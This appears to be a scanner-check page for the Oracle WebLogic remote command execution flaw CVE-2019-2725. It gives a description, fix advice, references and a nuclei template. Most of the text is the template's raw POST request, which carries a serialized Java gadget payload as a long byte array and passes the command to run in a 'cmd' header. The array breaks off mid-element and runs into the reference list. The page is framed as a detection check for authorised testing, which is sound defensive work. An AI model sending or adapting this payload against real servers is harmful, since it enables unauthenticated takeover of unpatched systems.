CVE-2019-2725· oracle / agile plm· CWE-74
Oracle WebLogic Server - Remote Command Execution
Exploited in the wild. Listed by CISA on 2022-01-10; known to be used by ransomware.
The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Versions that are affected are 10.3.6.0.0 and 12.1.3.0.0.
Impact
Unauthenticated attackers can compromise Oracle WebLogic Server via the Web Services component, potentially leading to complete server takeover and unauthorized access to sensitive data.
Fix
Apply the latest security patches provided by Oracle to fix the vulnerability and ensure proper input validation and sanitization of XML data.
How to confirm it
Send: POST /wls-wsat/CoordinatorPortType
Positive when: contains "uid=" and "gid=" and "groups=" AND status 200Run it with nuclei: nuclei -id CVE-2019-2725 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-2725
info:
name: Oracle WebLogic Server - Remote Command Execution
author: dwisiswant0
severity: critical
description: |
The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Versions that are affected are 10.3.6.0.0 and 12.1.3.0.0.
impact: |
Unauthenticated attackers can compromise Oracle WebLogic Server via the Web Services component, potentially leading to complete server takeover and unauthorized access to sensitive data.
remediation: |
Apply the latest security patches provided by Oracle to fix the vulnerability and ensure proper input validation and sanitization of XML data.
reference:
- https://paper.seebug.org/910/
- https://www.exploit-db.com/exploits/46780/
- https://www.oracle.com/security-alerts/cpujan2020.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-2725
- http://packetstormsecurity.com/files/152756/Oracle-Weblogic-Server-Deserialization-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-2725
cwe-id: CWE-74
epss-score: 0.99977
epss-percentile: 0.99979
cpe: cpe:2.3:a:oracle:agile_plm:9.3.3:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: oracle
product: agile_plm
tags: cve,cve2019,packetstorm,kev,edb,oracle,weblogic,rce,vkev,vuln
http:
- raw:
- |
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: text/xml
cmd: id
<?xml version="1.0" encoding="utf-8" ?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action/><wsa:RelatesTo/><asy:onAsyncDelivery/><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="5010"><void index="0"><byte>-84</byte></void><void index="1"><byte>-19</byte></void><void index="2"><byte>0</byte></void><void index="3"><byte>5</byte></void><void index="4"><byte>115</byte></void><void index="5"><byte>114</byte></void><void index="6"><byte>0</byte></void><void index="7"><byte>23</byte></void><void index="8"><byte>106</byte></void><void index="9"><byte>97</byte></void><void index="10"><byte>118</byte></void><void index="11"><byte>97</byte></void><void index="12"><byte>46</byte></void><void index="13"><byte>117</byte></void><void index="14"><byte>116</byte></void><void index="15"><byte>105</byte></void><void index="16"><byte>108</byte></void><void index="17"><byte>46</byte></void><void index="18"><byte>76</byte></void><void index="19"><byte>105</byte></void><void index="20"><byte>110</byte></void><void index="21"><byte>107</byte></void><void index="22"><byte>101</byte></void><void index="23"><byte>100</byte></void><void index="24"><byte>72</byte></void><void index="25"><byte>97</byte></void><void index="26"><byte>115</byte></void><void index="27"><byte>104</byte></void><void index="28"><byte>83</byte></void><void index="29"><byte>101</byte></void><void index="30"><byte>116</byte></void><void index="31"><byte>-40</byte></void><void index="32"><byte>108</byte></void><void index="33"><byte>-41</byte></void><void index="34"><byte>90</byte></void><void index="35"><byte>-107</byte></void><void index="36"><byte>-35</byte></void><void index="37"><byte>42</byte></void><void index="38"><byte>30</byte></void><void index="39"><byte>2</byte></void><void index="40"><byte>0</byte></void><void index="41"><byte>0</byte></void><void index="42"><byte>120</byte></void><void index="43"><byte>114</byte></void><void index="44"><byte>0</byte></void><void index="45"><byte>17</byte></void><void index="46"><byte>106</byte></void><void index="47"><byte>97</byte></void><void index="48"><byte>118</byte></void><void index="49"><byte>97</byte></void><void index="50"><byte>46</byte></void><void index="51"><byte>117</byte></void><void index="52"><byte>116</byte></void><void index="53"><byte>105</byte></void><void index="54"><byte>108</byte></void><void index="55"><byte>46</byte></void><void index="56"><byte>72</byte></void><void index="57"><byte>97</byte></void><void index="58"><byte>115</byte></void><void index="59"><byte>104</byte></void><void index="60"><byte>83</byte></void><void index="61"><byte>101</byte></void><void index="62"><byte>116</byte></void><void index="63"><byte>-70</byte></void><void index="64"><byte>68</byte></void><void index="65"><byte>-123</byte></void><void index="66"><byte>-107</byte></void><void index="67"><byte>-106</byte></void><void index="68"><byte>-72</byte></void><void index="69"><byte>-73</byte></void><void index="70"><byte>52</byte></void><void index="71"><byte>3</byte></void><void index="72"><byte>0</byte></void><void index="73"><byte>0</byte></void><void index="74"><byte>120</byte></void><void index="75"><byte>112</byte></void><void index="76"><byte>119</byte></void><void index="77"><byte>12</byte></void><void index="78"><byte>0</byte></void><void index="79"><byte>0</byte></void><void index="80"><byte>0</byte></void><void index="81"><byte>16</byte></void><void index="82"><byte>63</byte></void><void index="83"><byte>64</byte></void><void index="84"><byte>0</byte></void><void index="85"><byte>0</byte></void><void index="86"><byte>0</byte></void><void index="87"><byte>0</byte></void><void index="88"><byte>0</byte></void><void index="89"><byte>2</byte></void><void index="90"><byte>115</byte></void><void index="91"><byte>114</byte></void><void index="92"><byte>0</byte></void><void index="93"><byte>58</byte></void><void index="94"><byte>99</byte></void><void index="95"><byte>111</byte></void><void index="96"><byte>109</byte></void><void index="97"><byte>46</byte></void><void index="98"><byte>115</byte></void><void index="99"><byte>117</byte></void><void index="100"><byte>110</byte></void><void index="101"><byte>46</byte></void><void index="102"><byte>111</byte></void><void index="103"><byte>114</byte></void><void index="104"><byte>103</byte></void><void index="105"><byte>46</byte></void><void index="106"><byte>97</byte></void><void index="107"><byte>112</byte></void><void index="108"><byte>97</byte></void><void index="109"><byte>99</byte></void><void index="110"><byte>104</byte></void><void index="111"><byte>101</byte></void><void index="112"><byte>46</byte></void><void index="113"><byte>120</byte></void><void index="114"><byte>97</byte></void><void index="115"><byte>108</byte></void><void index="116"><byte>97</byte></void><void index="117"><byte>110</byte></void><void index="118"><byte>46</byte></void><void index="119"><byte>105</byte></void><void index="120"><byte>110</byte></void><void index="121"><byte>116</byte></void><void index="122"><byte>101</byte></void><void index="123"><byte>114</byte></void><void index="124"><byte>110</byte></void><void index="125"><byte>97</byte></void><void index="126"><byte>108</byte></void><void index="127"><byte>46</byte></void><void index="128"><byte>120</byte></void><void index="129"><byte>115</byte></void><void index="130"><byte>108</byte></void><void index="131"><byte>116</byte></void><void index="132"><byte>99</byte></void><void index="133"><byte>46</byte></void><void index="134"><byte>116</byte></void><void index="135"><byte>114</byte></void><void index="136"><byte>97</byte></void><void index="137"><byte>120</byte></void><void index="138"><byte>46</byte></void><void index="139"><byte>84</byte></void><void index="140"><byte>101</byte></void><void index="141"><byte>109</byte></void><void index="142"><byte>112</byte></void><void index="143"><byte>108</byte></void><void index="144"><byte>97</byte></void><void index="145"><byte>116</byte></void><void index="146"><byte>101</byte></void><void index="147"><byte>115</byte></void><void index="148"><byte>73</byte></void><void index="149"><byte>109</byte></void><void index="150"><byte>112</byte></void><void index="151"><byte>108</byte></void><void index="152"><byte>9</byte></void><void index="153"><byte>87</byte></void><void index="154"><byte>79</byte></void><void index="155"><byte>-63</byte></void><void index="156"><byte>110</byte></void><void index="157"><byte>-84</byte></void><void index="158"><byte>-85</byte></void><void index="159"><byte>51</byte></void><void index="160"><byte>3</byte></void><void index="161"><byte>0</byte></void><void index="162"><byte>9</byte></void><void index="163"><byte>73</byte></void><void index="164"><byte>0</byte></void><void index="165"><byte>13</byte></void><void index="166"><byte>95</byte></void><void index="167"><byte>105</byte></void><void index="168"><byte>110</byte></void><void index="169"><byte>100</byte></void><void index="170"><byte>101</byte></void><void index="171"><byte>110</byte></void><void index="172"><byte>116</byte></void><void index="173"><byte>78</byte></void><void index="174"><byte>117</byte></void><void index="175"><byte>109</byte></void><void index="176"><byte>98</byte></void><void index="177"><byte>101</byte></void><void index="178"><byte>114</byte></void><void index="179"><byte>73</byte></void><void index="180"><byte>0</byte></void><void index="181"><byte>14</byte></void><void index="182"><byte>95</byte></void><void index="183"><byte>116</byte></void><void index="184"><byte>114</byte></void><void index="185"><byte>97</byte></void><void index="186"><byte>110</byte></void><void index="187"><byte>115</byte></void><void index="188"><byte>108</byte></void><void index="189"><byte>101</byte></void><void index="190"><byte>116</byte></void><void index="191"><byte>73</byte></void><void index="192"><byte>110</byte></void><void index="193"><byte>100</byte></void><void index="194"><byte>101</byte></void><void index="195"><byte>120</byte></void><void index="196"><byte>90</byte></void><void index="197"><byte>0</byte></void><void index="198"><byte>21</byte></void><void index="199"><byte>95</byte></void><void index="200"><byte>117</byte></void><void index="201"><byte>115</byte></void><void index="202"><byte>101</byte></void><void index="203"><byte>83</byte></void><void index="204"><byte>101</byte></void><void index="205"><byte>114</byte></void><void index="206"><byte>118</byte></void><void index="207"><byte>105</byte></void><void index="208"><byte>99</byte></void><void index="209"><byte>101</byte></void><void index="210"><byte>115</byte></void><void index="211"><byte>77</byte></void><void index="212"><byte>101</byte></void><void index="213"><byte>99</byte></void><void index="214"><byte>104</byte></void><void index="215"><byte>97</byte></void><void index="216"><byte>110</byte></void><void index="217"><byte>105</byte></void><void index="218"><byte>115</byte></void><void index="219"><byte>109</byte></void><void index="220"><byte>76</byte></void><void index="221"><byte>0</byte></void><void index="222"><byte>25</byte></void><void index="223"><byte>95</byte></void><void index="224"><byte>97</byte></void><void index="225"><byte>99</byte></void><void index="226"><byte>99</byte></void><void index="227"><byte>101</byte></void><void index="228"><byte>115</byte></void><void index="229"><byte>115</byte></void><void index="230"><byte>69</byte></void><void index="231"><byte>120</byte></void><void index="232"><byte>116</byte></void><void index="233"><byte>101</byte></void><void index="234"><byte>114</byte></void><void index="235"><byte>110</byte></void><void index="236"><byte>97</byte></void><void index="237"><byte>108</byte></void><void index="238"><byte>83</byte></void><void index="239"><byte>116</byte></void><void index="240"><byte>121</byte></void><void index="241"><byte>108</byte></void><void index="242"><byte>101</byte></void><void index="243"><byte>115</byte></void><void index="244"><byte>104</byte></void><void index="245"><byte>101</byte></void><void index="246"><byte>101</byte></void><void index="247"><byte>116</byte></void><void index="248"><byte>116</byte></void><void index="249"><byte>0</byte></void><void index="250"><byte>18</byte></void><void index="251"><byte>76</byte></void><void index="252"><byte>106</byte></void><void index="253"><byte>97</byte></void><void index="254"><byte>118</byte></void><void index="255"><byte>97</byte></void><void index="256"><byte>47</byte></void><void index="257"><byte>108</byte></void><void index="258"><byte>97</byte></void><void index="259"><byte>110</byte></void><void index="260"><byte>103</byte></void><void index="261"><byte>47</byte></void><void index="262"><byte>83</byte></void><void index="263"><byte>116</byte></void><void index="264"><byte>114</byte></void><void index="265"><byte>105</byte></void><void index="266"><byte>110</byte></void><void index="267"><byte>103</byte></void><void index="268"><byte>59</byte></void><void index="269"><byte>76</byte></void><void index="270"><byte>0</byte></void><void index="271"><byte>11</byte></void><void index="272"><byte>95</byte></void><void index="273"><byte>97</byte></void><void index="274"><byte>117</byte></void><void index="275"><byte>120</byte></void><void index="276"><byte>67</byte></void><void index="277"><byte>108</byte></void><void index="278"><byte>97</byte></void><void index="279"><byte>115</byte></void><void index="280"><byte>115</byte></void><void index="281"><byte>101</byte></void><void index="282"><byte>115</byte></void><void index="283"><byte>116</byte></void><void index="284"><byte>0</byte></void><void index="285"><byte>59</byte></void><void index="286"><byte>76</byte></void><void index="287"><byte>99</byte></void><void index="288"><byte>111</byte></void><void index="289"><byte>109</byte></void><void index="290"><byte>47</byte></void><void index="291"><byte>115</byte></void><void index="292"><byte>117</byte></void><void index="293"><byte>110</byte></void><void index="294"><byte>47</byte></void><void index="295"><byte>111</byte></void><void index="296"><byte>114</byte></void><void index="297"><byte>103</byte></void><void index="298"><byte>47</byte></void><void index="299"><byte>97</byte></void><void index="300"><byte>112</byte></void><void index="301"><byte>97</byte></void><void index="302"><byte>99</byte></void><void index="303"><byte>104</byte></void><void index="304"><byte>101</byte></void><void index="305"><byte>47</byte></void><void index="306"><byte>120</byte></void><void index="307"><byte>97</byte></void><void index="308"><byte>108</byte></void><void index="309"><byte>97</byte></void><void index="310"><byte>110</byte></void><void index="311"><byte>47</byte></void><void index="312"><byte>105</byte></void><void index="313"><byte>110</byte></void><void index="314"><byte>116</byte></void><void index="315"><byte>101</byte></void><void index="316"><byte>114</byte></void><void index="317"><byte>110</byte></void><void index="318"><byte>97</byte></void><void index="319"><byte>108</byte></void><void index="320"><byte>47</byte></void><void index="321"><byte>120</byte></void><void index="322"><byte>115</byte></void><void index="323"><byte>108</byte></void><void index="324"><byte>116</byte></void><void index="325"><byte>99</byte></void><void index="326"><byte>47</byte></void><void index="327"><byte>114</byte></void><void index="328"><byte>117</byte></void><void index="329"><byte>110</byte></void><void index="330"><byte>116</byte></void><void index="331"><byte>105</byte></void><void index="332"><byte>109</byte></void><void index="333"><byte>101</byte></void><void index="334"><byte>47</byte></void><void index="335"><byte>72</byte></void><void index="336"><byte>97</byte></void><void index="337"><byte>115</byte></void><void index="338"><byte>104</byte></void><void index="339"><byte>116</byte></void><void index="340"><byte>97</byte></void><void index="341"><byte>98</byte></void><void index="342"><byte>108</byte></void><void index="343"><byte>101</byte></void><void index="344"><byte>59</byte></void><void index="345"><byte>91</byte></void><void index="346"><byte>0</byte></void><void index="347"><byte>10</byte></void><void index="348"><byte>95</byte></void><void index="349"><byte>98</byte></void><void index="350"><byte>121</byte></void><void index="351"><byte>116</byte></void><void index="352"><byte>101</byte></void><void index="353"><byte>99</byte></void><void index="354"><byte>111</byte></void><void index="355"><byte>100</byte></void><void index="356"><byte>101</byte></void><void index="357"><byte>115</byte></void><void index="358"><byte>116</byte></void><void index="359"><byte>0</byte></void><void index="360"><byte>3</byte></void><void index="361"><byte>91</byte></void><void index="362"><byte>91</byte></void><void index="363"><byte>66</byte></void><void index="364"><byte>91</byte></void><void index="365"><byte>0</byte></void><void index="366"><byte>6</byte></void><void index="367"><byte>95</byte></void><void index="368"><byte>99</byte></void><void index="369"><byte>108</byte></void><void index="370"><byte>97</byte></void><void index="371"><byte>115</byte></void><void index="372"><byte>115</byte></void><void index="373"><byte>116</byte></void><void index="374"><byte>0</byte></void><void index="375"><byte>18</byte></void><void index="376"><byte>91</byte></void><void index="377"><byte>76</byte></void><void index="378"><byte>106</byte></void><void index="379"><byte>97</byte></void><void index="380"><byte>118</byte></void><void index="381"><byte>97</byte></void><void index="382"><byte>47</byte></void><void index="383"><byte>108</byte></void><void index="384"><byte>97</byte></void><void index="385"><byte>110</byte></void><void index="386"><byte>103</byte></void><void index="387"><byte>47</byte></void><void index="388"><byte>67</byte></void><void index="389"><byte>108</byte></void><void index="390"><byte>97</byte></void><void index="391"><byte>115</byte></void><void index="392"><byte>115</byte></void><void index="393"><byte>59</byte></void><void index="394"><byte>76</byte></void><void index="395"><byte>0</byte></void><void index="396"><byte>5</byte></void><void index="397"><byte>95</byte></void><void index="398"><byte>110</byte></void><void index="399"><byte>97</byte></void><void index="400"><byte>109</byte></void><void index="401"><byte>101</byte></void><void index="402"><byte>113</byte></void><void index="403"><byte>0</byte></void><void index="404"><byte>126</byte></void><void index="405"><byte>0</byte></void><void index="406"><byte>4</byte></void><void index="407"><byte>76</byte></void><void index="408"><byte>0</byte></void><void index="409"><byte>17</byte></void><void index="410"><byte>95</byte></void><void index="411"><byte>111</byte></void><void index="412"><byte>117</byte></void><void index="413"><byte>116</byte></void><void index="414"><byte>112</byte></void><void index="415"><byte>117</byte></void><void index="416"><byte>116</byte></void><void index="417"><byte>80</byte></void><void index="418"><byte>114</byte></void><void index="419"><byte>111</byte></void><void index="420"><byte>112</byte></void><void index="421"><byte>101</byte></void><void index="422"><byte>114</byte></void><void index="423"><byte>116</byte></void><void index="424"><byte>105</byte></void><void index="425"><byte>101</byte></void><void index="426"><byte>115</byte></void><void index="427"><byte>116</byte></void><void index="428"><byte>0</byte></void><void index="429"><byte>22</byte></void><void index="430"><byte>76</byte></void><void index="431"><byte>106</byte></void><void index="432"><byte>97</byte></void><void index="433"><byte>118</byte></void><void index="434"><byte>97</byte></void><void index="435"><byte>47</byte></void><void index="436"><byte>117</byte></void><void index="437"><byte>116</byte></void><void index="438"><byte>105</byte></void><void index="439"><byte>108</byte></void><void index="440"><byte>47</byte></void><void index="441"><byte>80</byte></void><void index="442"><byte>114</byte></void><void index="443"><byte>111</byte></void><void index="444"><byte>112</byte></void><void index="445"><byte>101</byte></void><void index="446"><byte>114</byte></void><void index="447"><byte>116</byte></void><void index="448"><byte>105</byte></void><void index="449"><byte>101</byte></void><void index="450"><byte>115</byte></void><void index="451"><byte>59</byte></void><void index="452"><byte>120</byte></void><void index="453"><byte>112</byte></void><void index="454"><byte>0</byte></void><void index="455"><byte>0</byte></void><void index="456"><byte>0</byte></void><void index="457"><byte>0</byte></void><void index="458"><byte>-1</byte></void><void index="459"><byte>-1</byte></void><void index="460"><byte>-1</byte></void><void index="461"><byte>-1</byte></void><void index="462"><byte>0</byte></void><void index="463"><byte>116</byte></void><void index="464"><byte>0</byte></void><void index="465"><byte>3</byte></void><void index="466"><byte>97</byte></void><void index="467"><byte>108</byte></void><void index="468"><byte>108</byte></void><void index="469"><byte>112</byte></void><void index="470"><byte>117</byte></void><void index="471"><byte>114</byte></void><void index="472"><byte>0</byte></void><void index="473"><byte>3</byte></void><void index="474"><byte>91</byte></void><void index="475"><byte>91</byte></void><void index="476"><byte>66</byte></void><void index="477"><byte>75</byte></void><void index="478"><byte>-3</byte></void><void index="479"><byte>25</byte></void><void index="480"><byte>21</byte></void><void index="481"><byte>103</byte></void><void index="482"><byte>103</byte></void><void index="483"><byte>-37</byte></void><void index="484"><byte>55</byte></void><void index="485"><byte>2</byte></void><void index="486"><byte>0</byte></void><void index="487"><byte>0</byte></void><void index="488"><byte>120</byte></void><void index="489"><byte>112</byte></void><void index="490"><byte>0</byte></void><void index="491"><byte>0</byte></void><void index="492"><byte>0</byte></void><void index="493"><byte>2</byte></void><void index="494"><byte>117</byte></void><void index="495"><byte>114</byte></void><void index="496"><byte>0</byte></void><void index="497"><byte>2</byte></void><void index="498"><byte>91</byte></void><void index="499"><byte>66</byte></void><void index="500"><byte>-84</byte></void><void index="501"><byte>-13</byte></void><void index="502"><byte>23</byte></void><void index="503"><byte>-8</byte></void><void index="504"><byte>6</byte></void><void index="505"><byte>8</byte></void><void index="506"><byte>84</byte></void><void index="507"><byte>-32</byte></void><void index="508"><byte>2</byte></void><void index="509"><byte>0</byte></void><void index="510"><byte>0</byte></void><void index="511"><byte>120</byte></void><void index="512"><byte>112</byte></void><void index="513"><byte>0</byte></void><void index="514"><byte>0</byte></void><void index="515"><byte>14</byte></void><void index="516"><byte>29</byte></void><void index="517"><byte>-54</byte></void><void index="518"><byte>-2</byte></void><void index="519"><byte>-70</byte></void><void index="520"><byte>-66</byte></void><void index="521"><byte>0</byte></void><void index="522"><byte>0</byte></void><void index="523"><byte>0</byte></void><void index="524"><byte>50</byte></void><void index="525"><byte>0</byte></void><void index="526"><byte>-70</byte></void><void index="527"><byte>10</byte></void><void index="528"><byte>0</byte></void><void index="529"><byte>3</byte></void><void index="530"><byte>0</byte></void><void index="531"><byte>34</byte></void><void index="532"><byte>7</byte></void><void index="533"><byte>0</byte></void><void index="534"><byte>-72</byte></void><void index="535"><byte>7</byte></void><void index="536"><byte>0</byte></void><void index="537"><byte>37</byte></void><void index="538"><byte>7</byte></void><void index="539"><byte>0</byte></void><void index="540"><byte>38</byte></void><void index="541"><byte>1</byte></void><void index="542"><byte>0</byte></void><void index="543"><byte>16</byte></void><void index="544"><byte>115</byte></void><void index="545"><byte>101</byte></void><void index="546"><byte>114</byte></void><void index="547"><byte>105</byte></void><void index="548"><byte>97</byte></void><void index="549"><byte>108</byte></void><void index="550"><byte>86</byte></void><void index="551"><byte>101</byte></void><void index="552"><byte>114</byte></void><void index="553"><byte>115</byte></void><void index="554"><byte>105</byte></void><void index="555"><byte>111</byte></void><void index="556"><byte>110</byte></void><void index="557"><byte>85</byte></void><void index="558"><byte>73</byte></void><void index="559"><byte>68</byte></void><void index="560"><byte>1</byte></void><void index="561"><byte>0</byte></void><void index="562"><byte>1</byte></void><void index="563"><byte>74</byte></void><void index="564"><byte>1</byte></void><void index="565"><byte>0</byte></void><void index="566"><byte>13</byte></void><void index="567"><byte>67</byte></void><void index="568"><byte>111</byte></void><void index="569"><byte>110</byte></void><void index="570"><byte>115</byte></void><void index="571"><byte>116</byte></void><void index="572"><byte>97</byte></void><void index="573"><byte>110</byte></void><void index="574"><byte>116</byte></void><void index="575"><byte>86</byte></void><void index="576"><byte>97</byte></void><void index="577"><byte>108</byte></void><void index="578"><byte>117</byte></void><void index="579"><byte>101</byte></void><void index="580"><byte>5</byte></void><void index="581"><byte>-83</byte></void><void index="582"><byte>32</byte></void><void index="583"><byte>-109</byte></void><void index="584"><byte>-13</byte></void><void index="585"><byte>-111</byte></void><void index="586"><byte>-35</byte></void><void index="587"><byte>-17</byte></void><void index="588"><byte>62</byte></void><void index="589"><byte>1</byte></void><void index="590"><byte>0</byte></void><void index="591"><byte>6</byte></void><void index="592"><byte>60</byte></void><void index="593"><byte>105</byte></void><void index="594"><byte>110</byte></void><void index="595"><byte>105</byte></void><void index="596"><byte>116</byte></void><void index="597"><byte>62</byte></void><void index="598"><byte>1</byte></void><void index="599"><byte>0</byte></void><void index="600"><byte>3</byte></void><void index="601"><byte>40</byte></void><void index="602"><byte>41</byte></void><void index="603"><byte>86</byte></void><void index="604"><byte>1</byte></void><void index="605"><byte>0</byte></void><void index="606"><byte>4</byte></void><void index="607"><byte>67</byte></void><void index="608"><byte>111</byte></void><void index="609"><byte>100</byte></void><void index="610"><byte>101</byte></void><void index="611"><byte>1</byte></void><void index="612"><byte>0</byte></void><void index="613"><byte>15</byte></void><void index="614"><byte>76</byte></void><void index="615"><byte>105</byte></void><void index="616"><byte>110</byte></void><void index="617"><byte>101</byte></void><void index="618"><byte>78</byte></void><void index="619"><byte>117</byte></void><void index="620"><byte>109</byte></void><void index="621"><byte>98</byte></void><void index="622"><byte>101</byte></void><void index="623"><byte>114</byte></void><void index="624"><byte>84</byte></void><void index="625"><byte>97</byte></void><void index="626"><byte>98</byte></void><void index="627"><byte>108</byte></void><void index="628"><byte>101</byte></void><void index="629"><byte>1</byte></void><void index="630"><byte>0</byte></void><void index="631"><byte>18</byte></void><void index="632"><byte>76</byte></void><void index="633"><byte>111</byte></void><void index="634"><byte>99</byte></void><void index="635"><byte>97</byte></void><void index="636"><byte>108</byte></void><void index="637"><byte>86</byte></void><void index="638"><byte>97</byte></void><void index="639"><byte>114</byte></void><void index="640"><byte>105</byte></void><void index="641"><byte>97</byte></void><void index="642"><byte>98</byte></void><void index="643"><byte>108</byte></void><void index="644"><byte>101</byte></void><void index="645"><byte>84</byte></void><void index="646"><byte>97</byte></void><void index="647"><byte>98</byte></void><void index="648"><byte>108</byte></void><void index="649"><byte>101</byte></void><void index="650"><byte>1</byte></void><void index="651"><byte>0</byte></void><void index="652"><byte>4</byte></void><void index="653"><byte>116</byte></void><void index="654"><byte>104</byte></void><void index="655"><byte>105</byte></void><void index="656"><byte>115</byte></void><void index="657"><byte>1</byte></void><void index="658"><byte>0</byte></void><void index="659"><byte>19</byte></void><void index="660"><byte>83</byte></void><void index="661"><byte>116</byte></void><void index="662"><byte>117</byte></void><void index="663"><byte>98</byte></void><void index="664"><byte>84</byte></void><void index="665"><byte>114</byte></void><void index="666"><byte>97</byte></void><void index="667"><byte>110</byte></void><void index="668"><byte>115</byte></void><void index="669"><byte>108</byte></void><void index="670"><byte>101</byte></void><void index="671"><byte>116</byte></void><void index="672"><byte>80</byte></void><void index="673"><byte>97</byte></void><void index="674"><byte>121</byte></void><void index="675"><byte>108</byte></void><void index="676"><byte>111</byte></void><void index="677"><byte>97</byte></void><void index="678"><byte>100</byte></void><void index="679"><byte>1</byte></void><void index="680"><byte>0</byte></void><void index="681"><byte>12</byte></void><void index="682"><byte>73</byte></void><void index="683"><byte>110</byte></void><void index="684"><byte>110</byte></void><void index="685"><byte>101</byte></void><void index="686"><byte>114</byte></void><void index="687"><byte>67</byte></void><void index="688"><byte>108</byte></void><void index="689"><byte>97</byte></void><void index="690"><byte>115<References
- https://paper.seebug.org/910/
- https://www.exploit-db.com/exploits/46780/
- https://www.oracle.com/security-alerts/cpujan2020.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-2725
- http://packetstormsecurity.com/files/152756/Oracle-Weblogic-Server-Deserialization-Remote-Code-Execution.html
Use this check only on systems you are authorised to test. Where the data comes from